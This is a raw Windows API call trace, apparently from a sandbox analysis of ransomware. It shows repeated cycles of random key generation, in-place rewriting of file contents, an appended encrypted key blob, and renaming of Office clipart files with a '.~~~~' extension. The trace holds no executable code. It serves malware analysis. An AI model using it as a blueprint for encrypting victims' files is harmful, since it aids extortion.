	[0115.569] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0115.570] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.570] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0115.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0115.570] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23556038866) returned 1
	[0115.570] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xae6172b0, dwHighDateTime=0x1d60e1e)) 
	[0115.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0115.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0115.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0115.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283aec8
	[0115.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283aec8 | out: hHeap=0x300000) returned 1
	[0115.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f69d0
	[0115.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b0570
	[0115.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f69d0 | out: hHeap=0x300000) returned 1
	[0115.571] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0115.571] GetLastError () returned 0x0
	[0115.572] GetLastError () returned 0x0
	[0115.572] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0115.572] GetLastError () returned 0x0
	[0115.572] GetLastError () returned 0x0
	[0116.131] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffe6a0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.131] WriteFile (in: hFile=0x140, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x1960, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x1960, lpOverlapped=0x0) returned 1
	[0116.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0116.132] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.132] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.132] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.132] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.133] CloseHandle (hObject=0x140) returned 1
	[0116.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0116.133] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00938_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00938_.wmf.~~~~")) returned 1
	[0116.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0116.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0116.134] GetLastError () returned 0x0
	[0116.141] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0116.142] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.142] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0116.142] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.142] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0116.142] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0116.142] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23613243787) returned 1
	[0116.142] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaeb98590, dwHighDateTime=0x1d60e1e)) 
	[0116.142] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0116.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0116.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0116.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e030
	[0116.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.143] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e030 | out: hHeap=0x300000) returned 1
	[0116.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.143] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6a78
	[0116.143] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b0b60
	[0116.143] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6a78 | out: hHeap=0x300000) returned 1
	[0116.143] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0116.143] GetLastError () returned 0x0
	[0116.144] GetLastError () returned 0x0
	[0116.144] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0116.144] GetLastError () returned 0x0
	[0116.144] GetLastError () returned 0x0
	[0116.147] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xfffef8a2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.147] WriteFile (in: hFile=0x148, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x1075e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x1075e, lpOverlapped=0x0) returned 1
	[0116.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0116.148] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.148] WriteFile (in: hFile=0x148, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.148] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.148] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.148] CloseHandle (hObject=0x148) returned 1
	[0116.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f67d8
	[0116.149] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01236_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01236_.wmf.~~~~")) returned 1
	[0116.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0116.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0116.150] GetLastError () returned 0x0
	[0116.150] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0116.151] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.151] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0116.151] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0116.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0116.152] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23614173597) returned 1
	[0116.152] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaebbe6f0, dwHighDateTime=0x1d60e1e)) 
	[0116.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0116.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0116.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0116.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e0a0
	[0116.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.152] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e0a0 | out: hHeap=0x300000) returned 1
	[0116.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.152] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0116.152] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b0ef0
	[0116.152] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0116.152] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0116.153] GetLastError () returned 0x0
	[0116.153] GetLastError () returned 0x0
	[0116.153] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0116.153] GetLastError () returned 0x0
	[0116.153] GetLastError () returned 0x0
	[0116.155] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffbc50, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.156] WriteFile (in: hFile=0x148, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x43b0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x43b0, lpOverlapped=0x0) returned 1
	[0116.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0116.157] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.157] WriteFile (in: hFile=0x148, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.157] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.157] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.157] CloseHandle (hObject=0x148) returned 1
	[0116.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f67d8
	[0116.157] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01560_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01560_.wmf.~~~~")) returned 1
	[0116.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0116.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0116.159] GetLastError () returned 0x0
	[0116.159] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0116.160] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.160] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0116.160] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0116.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0116.161] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23615076715) returned 1
	[0116.161] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaebbe6f0, dwHighDateTime=0x1d60e1e)) 
	[0116.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0116.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0116.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0116.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8538
	[0116.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.161] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8538 | out: hHeap=0x300000) returned 1
	[0116.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.161] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0116.161] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b0f88
	[0116.161] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0116.162] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0116.162] GetLastError () returned 0x0
	[0116.162] GetLastError () returned 0x0
	[0116.162] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0116.162] GetLastError () returned 0x0
	[0116.162] GetLastError () returned 0x0
	[0116.170] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffa628, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.170] WriteFile (in: hFile=0x148, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x59d8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x59d8, lpOverlapped=0x0) returned 1
	[0116.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0116.172] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.172] WriteFile (in: hFile=0x148, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.172] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.172] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.172] CloseHandle (hObject=0x148) returned 1
	[0116.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6a78
	[0116.172] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01561_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01561_.wmf.~~~~")) returned 1
	[0116.173] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6a78 | out: hHeap=0x300000) returned 1
	[0116.173] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0116.173] GetLastError () returned 0x0
	[0116.174] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0116.176] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.176] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0116.176] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.176] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0116.176] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0116.176] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23616595855) returned 1
	[0116.176] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaebe4850, dwHighDateTime=0x1d60e1e)) 
	[0116.176] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0116.176] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0116.176] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0116.176] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e85a8
	[0116.176] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.176] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e85a8 | out: hHeap=0x300000) returned 1
	[0116.176] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.176] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.176] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6a78
	[0116.176] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.176] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b1020
	[0116.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6a78 | out: hHeap=0x300000) returned 1
	[0116.177] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0116.177] GetLastError () returned 0x0
	[0116.177] GetLastError () returned 0x0
	[0116.177] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0116.177] GetLastError () returned 0x0
	[0116.177] GetLastError () returned 0x0
	[0116.271] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffae58, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.271] WriteFile (in: hFile=0x148, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x51a8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x51a8, lpOverlapped=0x0) returned 1
	[0116.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0116.272] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.272] WriteFile (in: hFile=0x148, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.272] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.272] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.272] CloseHandle (hObject=0x148) returned 1
	[0116.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0116.273] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01566_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01566_.wmf.~~~~")) returned 1
